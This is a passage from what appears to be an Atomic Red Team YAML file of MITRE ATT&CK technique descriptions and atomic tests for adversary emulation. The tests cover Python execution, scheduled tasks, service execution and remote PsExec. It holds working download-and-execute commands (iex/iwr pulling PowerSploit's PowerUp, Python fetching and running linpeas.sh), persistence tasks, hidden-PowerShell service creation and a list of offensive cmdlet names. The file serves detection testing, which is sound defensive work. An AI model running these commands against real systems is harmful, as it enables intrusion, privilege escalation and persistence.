        Malicious_cmdlets:
          description: Known Malicious Cmdlets
          type: String
          default: '"Add-Persistence", "Find-AVSignature", "Get-GPPAutologon", "Get-GPPPassword",
            "Get-HttpStatus", "Get-Keystrokes", "Get-SecurityPackages", "Get-TimedScreenshot",
            "Get-VaultCredential", "Get-VolumeShadowCopy", "Install-SSP", "Invoke-CredentialInjection",
            "Invoke-DllInjection", "Invoke-Mimikatz", "Invoke-NinjaCopy", "Invoke-Portscan",
            "Invoke-ReflectivePEInjection", "Invoke-ReverseDnsLookup", "Invoke-Shellcode",
            "Invoke-TokenManipulation", "Invoke-WmiCommand", "Mount-VolumeShadowCopy",
            "New-ElevatedPersistenceOption", "New-UserPersistenceOption", "New-VolumeShadowCopy",
            "Out-CompressedDll", "Out-EncodedCommand", "Out-EncryptedScript", "Out-Minidump",
            "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy",
            "Set-CriticalProcess", "Set-MasterBootRecord"

'
      executor:
        name: powershell
        elevation_required: true
        command: |
          $malcmdlets = #{Malicious_cmdlets}
          foreach ($cmdlets in $malcmdlets) {
              "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
          foreach ($cmdlets in $malcmdlets) {
              $cmdlets}
    - name: PowerUp Invoke-AllChecks
      auto_generated_guid: 1289f78d-22d2-4590-ac76-166737e1811b
      description: 'Check for privilege escalation paths using PowerUp from PowerShellMafia

'
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
          Invoke-AllChecks
        name: powershell
  T1059.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1059.006
        url: https://attack.mitre.org/techniques/T1059/006
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Python
      description: |-
        Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

        Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
      id: attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-06-23T19:03:15.180Z'
      created: '2020-03-09T14:38:24.334Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Python is installed.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      x_mitre_detection: |-
        Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      identifier: T1059.006
    atomic_tests:
    - name: Execute shell script via python's command mode arguement
      auto_generated_guid: 3a95cdb2-c6ea-4761-b24e-02b71889b8bb
      description: Download and execute shell script and write to file then execute
        locally using Python -c (command mode)
      supported_platforms:
      - linux
      input_arguments:
        script_url:
          description: Shell script public URL
          type: String
          default: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
        payload_file_name:
          description: Name of shell script downloaded from the script_url
          type: String
          default: T1059.006-payload
        executor:
          description: Linux shell
          type: String
          default: sh
        script_args:
          description: Arguments to check for system stats, available software, process
            details, environment paths, open sockets, and interesting files.
          type: String
          default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI,
            IntFiles"
      dependency_executor_name: sh
      dependencies:
      - description: Verify if python is in the environment variable path and attempt
          to import requests library.
        prereq_command: |
          which_python=$(which python || which python3 || which python2); $which_python -V
          $which_python -c 'import requests' 2>/dev/null; echo $?
        get_prereq_command: 'pip install requests

'
      executor:
        command: |
          which_python=$(which python || which python3 || which python2)
          $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
        name: sh
        cleanup_command: "rm #{payload_file_name}  \n"
    - name: Execute Python via scripts (Linux)
      auto_generated_guid: 6c4d1dcb-33c7-4c36-a8df-c6cfd0408be8
      description: Create Python file (.py) that downloads and executes shell script
        via executor arguments
      supported_platforms:
      - linux
      input_arguments:
        python_script_name:
          description: Python script name
          type: Path
          default: T1059.006.py
        script_url:
          description: Shell script public URL
          type: String
          default: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
        payload_file_name:
          description: Shell script file name downloaded from the script_url
          type: String
          default: T1059.006-payload
        executor:
          description: Payload or script interpreter / executor
          type: String
          default: sh
        script_args:
          description: Arguments to check for system stats, available software, process
            details, environment paths, open sockets, and interesting files
          type: String
          default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI,
            IntFiles"
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

'
        prereq_command: |
          which_python=$(which python || which python3 || which python2); $which_python -V
          $which_python -c 'import requests' 2>/dev/null; echo $?
        get_prereq_command: "pip install requests    \n"
      executor:
        command: |
          which_python=$(which python || which python3 || which python2)
          echo 'import requests' > #{python_script_name}
          echo 'import os' >> #{python_script_name}
          echo 'url = "#{script_url}"' >> #{python_script_name}
          echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
          echo 'session = requests.session()' >> #{python_script_name}
          echo 'source = session.get(url).content' >> #{python_script_name}
          echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
          echo 'fd.write(source)' >> #{python_script_name}
          echo 'fd.close()' >> #{python_script_name}
          echo 'os.system(malicious_command)' >> #{python_script_name}
          $which_python #{python_script_name}
        name: sh
        cleanup_command: "rm #{python_script_name} #{payload_file_name}  \n"
    - name: Execute Python via Python executables (Linux)
      auto_generated_guid: 0b44d79b-570a-4b27-a31f-3bf2156e5eaa
      description: 'Create Python file (.py) then compile to binary (.pyc) that downloads
        an external malicious script then executes locally using the supplied executor
        and arguments

'
      supported_platforms:
      - linux
      input_arguments:
        python_script_name:
          description: Name of Python script name
          type: Path
          default: T1059.006.py
        script_url:
          description: URL hosting external malicious payload
          type: String
          default: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
        payload_file_name:
          description: Shell script file name downloaded from the script_url
          type: String
          default: T1059.006-payload
        executor:
          description: Payload or script interpreter / executor
          type: String
          default: sh
        script_args:
          description: Arguments to check for system stats, available software, process
            details, environment paths, open sockets, and interesting files
          type: String
          default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI,
            IntFiles"
        python_binary_name:
          description: Name of Python file to be compiled
          type: Path
          default: T1059.006.pyc
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

'
        prereq_command: |
          which_python=$(which python || which python3 || which python2); $which_python -V
          $which_python -c 'import requests' 2>/dev/null; echo $?
        get_prereq_command: "pip install requests    \n"
      executor:
        command: |
          which_python=$(which python || which python3 || which python2)
          echo 'import requests' > #{python_script_name}
          echo 'import os' >> #{python_script_name}
          echo 'url = "#{script_url}"' >> #{python_script_name}
          echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
          echo 'session = requests.session()' >> #{python_script_name}
          echo 'source = session.get(url).content' >> #{python_script_name}
          echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
          echo 'fd.write(source)' >> #{python_script_name}
          echo 'fd.close()' >> #{python_script_name}
          echo 'os.system(malicious_command)' >> #{python_script_name}
          $which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
          $which_python #{python_binary_name}
        name: sh
        cleanup_command: 'rm #{python_binary_name} #{python_script_name} #{payload_file_name}

'
  T1053.005:
    technique:
      created: '2019-11-27T14:58:00.429Z'
      modified: '2020-12-30T14:26:44.730Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1053.005
        url: https://attack.mitre.org/techniques/T1053/005
      - url: https://twitter.com/leoloobeek/status/939248813465853953
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        source_name: Twitter Leoloobeek Scheduled Task
      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        source_name: TechNet Forum Scheduled Task Operational Setting
      - url: https://technet.microsoft.com/library/dd315590.aspx
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        source_name: TechNet Scheduled Task Events
      - source_name: Microsoft Scheduled Task Events Win10
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scheduled Task
      description: |-
        Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

        The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.

        An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1053.005
    atomic_tests:
    - name: Scheduled Task Startup Script
      auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2
      description: |
        Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
        the tasks, open the Task Scheduler and look in the Active Tasks pane.
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
          schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
        cleanup_command: |
          schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
          schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Scheduled task Local
      auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71
      description: 'Upon successful execution, cmd.exe will create a scheduled task
        to spawn cmd.exe at 20:10.

'
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: String
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: String
          default: '20:10'
      executor:
        name: command_prompt
        elevation_required: false
        command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

'
        cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1

'
    - name: Scheduled task Remote
      auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd
      description: |
        Create a task on a remote system.

        Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: String
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: String
          default: '20:10'
        target:
          description: Target
          type: String
          default: localhost
        user_name:
          description: 'Username to authenticate with, format: DOMAIN\User'
          type: String
          default: DOMAIN\user
        password:
          description: Password to authenticate with
          type: String
          default: At0micStrong
      executor:
        name: command_prompt
        elevation_required: true
        command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
          "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

'
        cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password}
          /TN "Atomic task" /F >nul 2>&1

'
    - name: Powershell Cmdlet Scheduled Task
      auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd
      description: |
        Create an atomic scheduled task that leverages native powershell cmdlets.

        Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "calc.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTask -InputObject $object
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false
          >$null 2>&1

'
    - name: Task Scheduler via VBA
      auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3
      description: |
        This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
        30 - 40 seconds after this module has run
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n"
        name: powershell
    - name: WMI Invoke-CimMethod Scheduled Task
      auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b
      description: 'Create an scheduled task that executes notepad.exe after user
        login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing
        as Register-ScheduledTask cmdlet behind the scenes.

'
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false
          >$null 2>&1

'
  T1053:
    technique:
      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scheduled Task/Job
      description: |-
        Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

        Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).
      external_references:
      - source_name: mitre-attack
        external_id: T1053
        url: https://attack.mitre.org/techniques/T1053
      - external_id: CAPEC-557
        source_name: capec
        url: https://capec.mitre.org/data/definitions/557.html
      - url: https://technet.microsoft.com/en-us/library/cc785125.aspx
        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
          June 8, 2016.
        source_name: TechNet Task Scheduler Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-20T16:31:11.405Z'
      created: '2017-05-31T21:30:46.977Z'
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Containers
      x_mitre_remote_support: true
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Container: Container Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Prashant Verma, Paladion
      - Leo Loobeek, @leoloobeek
      - Travis Smith, Tripwire
      - Alain Homewood, Insomnia Security
      x_mitre_version: '2.1'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1064:
    technique:
      revoked: false
      id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scripting
      description: |-
        **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**

        Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

        Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

        Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
      external_references:
      - source_name: mitre-attack
        external_id: T1064
        url: https://attack.mitre.org/techniques/T1064
      - source_name: Metasploit_Ref
        description: Metasploit. (n.d.). Retrieved December 4, 2014.
        url: http://www.metasploit.com
      - url: https://www.veil-framework.com/framework/
        description: Veil Framework. (n.d.). Retrieved December 4, 2014.
        source_name: Veil_Ref
      - url: https://github.com/mattifestation/PowerSploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        source_name: Powersploit
      - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
        description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
          of National Security Think Tanks. Retrieved November 12, 2014.'
        source_name: Alperovitch 2014
      - url: https://www.uperesia.com/analyzing-malicious-office-documents
        description: Felix. (2016, September). Analyzing Malicious Office Documents.
          Retrieved April 11, 2018.
        source_name: Uperesia Malicious Office Documents
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-30T13:39:24.852Z'
      created: '2017-05-31T21:30:51.733Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

        Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
      x_mitre_defense_bypassed:
      - Process whitelisting
      - Data Execution Prevention
      - Exploit Prevention
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: true
    atomic_tests: []
  T1569.002:
    technique:
      created: '2020-03-10T18:33:36.159Z'
      modified: '2020-03-28T18:52:02.384Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      id: attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4
      description: |-
        Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).

        [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)

        Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.
      name: Service Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1569.002
        url: https://attack.mitre.org/techniques/T1569/002
      - source_name: Microsoft Service Control Manager
        url: https://docs.microsoft.com/windows/win32/services/service-control-manager
        description: Microsoft. (2018, May 31). Service Control Manager. Retrieved
          March 28, 2020.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
        description: Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11.
          Retrieved May 13, 2015.
        source_name: Russinovich Sysinternals
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Service: Service Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_detection: Changes to service Registry entries and command line invocation
        of tools capable of modifying services that do not correlate with known software,
        patch cycles, etc., may be suspicious. If a service is used only to execute
        a binary or script and not to persist, then it will likely be changed back
        to its original form shortly after the service is restarted so the service
        is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1569.002
    atomic_tests:
    - name: Execute a Command as a Service
      auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1
      description: |
        Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

        Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of service to create
          type: String
          default: ARTService
        executable_command:
          description: Command to execute as a service
          type: String
          default: "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType
            File C:\\art-marker.txt"
      executor:
        command: |
          sc.exe create #{service_name} binPath= "#{executable_command}"
          sc.exe start #{service_name}
          sc.exe delete #{service_name}
        cleanup_command: 'del C:\art-marker.txt >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Use PsExec to execute a command on a remote host
      auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c
      description: |
        Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments
        Will start a process on a remote host.

        Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
      supported_platforms:
      - windows
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: String
          default: localhost
        user_name:
          description: Username
          type: String
          default: DOMAIN\Administrator
        password:
          description: Password
          type: String
          default: P@ssw0rd1
        psexec_exe:
          description: Path to PsExec
          type: String
          default: C:\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_exe})

'
        prereq_command: 'if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
          Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
          Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_exe}" -Force
      executor:
        command: '#{psexec_exe} \\#{remote_host} -u #{user_name} -p #{password} -accepteula
          "C:\Windows\System32\calc.exe"

'
        name: command_prompt
  T1129:
    technique:
      id: attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Shared Modules
      description: "Adversaries may abuse shared modules to execute malicious payloads.
        The Windows module loader can be instructed to load DLLs from arbitrary local
        paths and arbitrary Universal Naming Convention (UNC) network paths. This
        functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106)
        which is called from functions like <code>CreateProcess</code>, <code>LoadLibrary</code>,
        etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe
        module loader can load DLLs:\n\n* via specification of the (fully-qualified
        or relative) DLL pathname in the IMPORT directory;\n    \n* via EXPORT forwarded
